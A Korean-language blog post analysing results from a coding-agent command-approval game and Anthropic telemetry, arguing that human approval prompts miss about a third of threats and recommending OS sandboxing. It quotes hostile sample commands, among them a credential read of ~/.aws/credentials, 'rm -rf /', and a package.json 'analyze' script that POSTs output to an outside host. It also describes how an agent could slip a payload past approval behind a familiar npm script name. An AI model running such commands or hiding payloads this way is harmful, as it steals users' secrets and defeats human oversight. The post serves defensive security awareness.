Devlery
Blog/AI

코딩 에이전트 명령 승인 40만 건, 위협 3분의 1 통과와 npm run 사각지대

8월 5일 공개된 코딩 에이전트 승인 게임 통계에서 결정 40만 9천 건의 위협 탐지 정확도는 66.3%였습니다. npm run analyze는 64.7%가 승인했고, Anthropic 텔레메트리의 실사용 승인률은 93%입니다.

코딩 에이전트 명령 승인 40만 건, 위협 3분의 1 통과와 npm run 사각지대
AI 요약
  • 코딩 에이전트 승인 게임 40만 판에서 위협 3건 중 1건이 통과했습니다.
  • 가장 많이 놓친 건 rm -rf /가 아니라 npm run analyze로 64.7%입니다.
  • Anthropic 실사용 승인률은 93%, 대안은 OS 샌드박스입니다.

코딩 에이전트를 쓰면 터미널 명령을 실행하기 전에 "이거 돌려도 됩니까"라고 묻는 창이 뜹니다. 승인 프롬프트입니다. 이 창이 실제로 방어 역할을 하는지 40만 번 측정한 사람이 있습니다.

전 Uber Staff Engineer인 Alex Wauters가 5월에 브라우저 게임 하나를 공개했습니다. 플레이어는 코딩 에이전트의 승인 담당자가 되어 60초 안에 명령을 승인하거나 거부합니다. git statusnpm test 같은 평범한 명령 사이에 cat ~/.aws/credentials처럼 자격증명을 훔치는 명령이 섞여 있습니다. 8월 5일 그가 누적 통계를 공개했습니다. 플레이 40,000회, 개별 승인·거부 결정 409,363건입니다.

평균 정확도는 66.3%였습니다. 위협 3건 중 1건을 승인했다는 뜻입니다. 세션의 32.9%는 마이너스 점수로 끝났고, 7%는 뜨는 창을 전부 승인했습니다. 모든 위협을 잡은 사람은 35.2%지만, 정상 명령을 20% 이하로만 막으면서 그렇게 한 사람은 20.8%뿐입니다. 나머지는 그냥 다 막아서 만점을 받았습니다.

저자가 먼저 밝히는 한계가 있습니다. 게임에 나온 명령의 약 34%가 위협이었고, 실제 업무에서는 이 비율이 훨씬 낮습니다. 플레이어는 자기가 시험받는 중이라는 것도 알고 있었습니다. 실사용 오탐률을 그대로 추정할 수 있는 숫자는 아니고, 위협끼리 비교했을 때 무엇을 더 놓치는지를 보는 데 쓸 수 있는 데이터입니다.

파괴적인 명령보다 자격증명 읽기를 세 배 더 놓쳤다

위험한 명령일수록 잘 막혔느냐 하면, 그렇지 않았습니다.

위협 유형예시놓친 비율
명백한 파괴rm -rf /

11.7%

지속성 변조crontab 주입, git config 탈취

23.8%

유출·코드 실행미확인 API로 curl, 타이포스쿼팅 패키지

33.4%

권한 범위 위반

홈 디렉터리의 .aws/credentials 읽기

35.0%

rm -rf /는 열에 아홉이 막았습니다. 정작 자격증명을 실제로 빼내는 명령은 세 배 자주 통과했습니다. 사람이 승인 창에서 걸러내는 것은 위험 자체가 아니라 위험해 보이는 모양입니다.

가장 많이 놓친 단일 명령은 npm run analyze로, 64.7%가 승인했습니다. 37개 위협 중 1위입니다. npm run은 그 자체로 아무 일도 하지 않고 package.json에 적힌 스크립트를 실행할 뿐인데, 게임에서는 그 스크립트가 이렇게 정의되어 있었습니다.

{
  "scripts": {
    "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl -s -X POST https://api.bundle.track/report -d @-"
  }
}

번들 분석 결과를 외부 서버로 그대로 POST합니다. 게임은 이 내용을 승인 창 바로 위 히스토리 로그에 숨김 없이 보여줬는데도 3분의 2가 승인했습니다. npm run setup은 48.0%(4위), npm run deploy는 44.9%(8위)로 뒤를 이었습니다. 셋을 합치면 52.5%(n=9,482)로, 다른 유출형 공격의 28.4%보다 두 배 가까이 높습니다. 저자의 정리는 이렇습니다. "친숙한 스크립트 이름 뒤에 페이로드를 숨기면, 페이로드가 로그에 그대로 표시되어도 성공률이 대략 두 배가 된다."

HN 스레드에서 dns_snek이 더 근본적인 지적을 했고 저자도 본문에 인용했습니다. 명령 하나하나를 승인받는 모델 자체가 검사할 수 없는 것을 검사하라는 요구라는 지적입니다. npm run build 하나를 승인하는 순간 package.json에 적힌 임의의 셸 명령을 승인한 것이 됩니다. 게다가 에이전트는 승인 없이도 package.json을 수정하거나, build.jsnode_modules 안 파일에 코드를 심어둘 수 있습니다. 승인 창에 뜬 문자열이 멀쩡해 보여도, 그 명령이 실제로 무슨 코드를 실행할지는 아무도 보장하지 않습니다.

Anthropic 텔레메트리의 승인률은 93%였다

게임이 아닌 실사용 통계에도 비슷한 숫자가 나와 있습니다. Anthropic은 5월 25일 엔지니어링 블로그 How we contain Claude across products에서 자사 텔레메트리를 공개했습니다. 사용자는 Claude Code 권한 프롬프트의 약 93%를 승인했습니다. 함께 붙인 설명은 이렇습니다. "사용자가 승인 요청을 많이 볼수록 각각에 기울이는 주의는 줄어들고, 시간이 지나면 감독이 훨씬 덜 꼼꼼해진다."

게임 데이터에서도 같은 피로가 보입니다. 세션 길이별로 나눠 보면 모든 그룹이 처음 몇 개에서 정확도가 올라갔다가, 시간이 다 되어 갈수록 놓친 비율이 다시 올라갑니다.

세션 진행 위치별 위협 놓친 비율 그래프. 5-9, 10-14, 15-19, 20개 이상 명령 그룹 모두 세션 후반에 놓친 비율이 상승한다

승인 피로의 반대편에는 과잉 차단이 있습니다. 게임에서 멀쩡한 명령인데도 자주 거부된 것들입니다.

59%

npm config set registry

사내 미러 설정
45%

rm -rf dist/

빌드 산출물 정리
43%

kill $(lsof -t -i:3000)

포트 회수

정상 명령을 절반 가까이 막으면 에이전트는 느려지고, 느려지면 사용자는 다음번에 덜 읽고 누릅니다. Anthropic이 auto mode를 만든 이유도 여기 있습니다. 명령을 사람에게 묻기 전에 분류기가 먼저 판정해 프롬프트 수를 줄이는 기능입니다. Anthropic이 밝힌 수치로는 실행 전에 과잉 행동의 약 83%를 잡아냅니다. 각주에 대가도 적어뒀습니다. 정상 명령은 약 0.4%만 막지만 위험한 행동의 약 17%는 통과합니다. 권한 기본값이 개인과 기업에서 갈린 이야기는 따로 정리한 적이 있습니다.

사람 대신 OS에 맡기는 쪽

같은 발표에서 Anthropic이 더 큰 숫자를 하나 붙였습니다. OS 수준 샌드박싱을 도입한 뒤 권한 프롬프트가 84% 줄었다는 것입니다. 분류기는 사람에게 물어보는 횟수를 줄여줄 뿐이지만, 샌드박스에서는 명령이 무엇에 손댈 수 있는지를 운영체제가 직접 막습니다. 누가 승인 버튼을 얼마나 잘 누르는지와 상관없이 작동합니다.

주요 코딩 에이전트가 지금 제공하는 격리는 이렇습니다.

항목Claude CodeCodex CLICursor
기본 동작프롬프트, auto mode 분류기 선택

on-request 승인 + workspace-write

Auto-review(허용 목록 + 샌드박스 + 분류기)
OS 격리Seatbelt(macOS), bubblewrap + socat(Linux)Seatbelt, Landlock, Windows 네이티브있음
Windows네이티브 미지원, WSL2 필요지원지원
한국 사용

셋 다 가능. 지역 제한 없는 로컬 기능이고 추가 비용도 없습니다

Claude Code는 세션에서 /sandbox를 실행하면 패널이 열립니다. 기본 설정에서 샌드박스 안 명령은 작업 디렉터리와 세션 임시 디렉터리에만 쓸 수 있고, 새 네트워크 도메인은 처음 쓸 때 승인을 묻습니다. 모든 프로젝트에 적용하려면 ~/.claude/settings.jsonsandbox.enabledtrue로 넣습니다. macOS는 설치할 것이 없고, Linux와 WSL2는 bubblewrapsocat이 필요합니다. 네이티브 Windows는 지원하지 않아 WSL2 안에서 실행해야 합니다.

주의할 기본값이 하나 있습니다. 샌드박스를 띄우지 못하면 Claude Code는 경고만 내고 격리 없이 명령을 실행합니다. 보안 관문으로 쓰려면 sandbox.failIfUnavailabletrue로 두어야 합니다.

허용 목록만 믿는 것도 위험합니다. Cursor 문서는 허용 목록이 보안 경계가 아니라 최선 노력이라고 명시합니다. 실제로 CVE-2026-22708은 허용 목록이 비어 있어도 export, typeset, declare 같은 셸 빌트인으로 우회해 원격 코드 실행이 가능했던 취약점이었고, Cursor는 denylist 기능을 1.3에서 폐기했습니다.

코딩 에이전트를 매일 쓰는 개발자라면 오늘 할 수 있는 것은 두 가지입니다. /sandbox를 열어 auto-allow로 바꾸고 sandbox.filesystem.allowWrite에 실제로 필요한 경로만 적는 것, 그리고 .zshrc.bashrcexport로 박아둔 API 키를 별도 파일로 옮겨 source로 불러오게 바꾸는 것입니다. 게임에서 가장 의견이 갈린 명령이 cat ~/.zshrc였습니다. 45.9%가 승인했고, 셸 프로필에 비밀값을 두지 않은 사람에게는 실제로 무해합니다. 그 명령이 안전한지는 승인 버튼을 누르는 사람의 눈썰미가 아니라 그 파일 내용이 정합니다. 눈썰미는 세션 후반이면 떨어지지만, 비워둔 파일은 언제 읽혀도 비어 있습니다.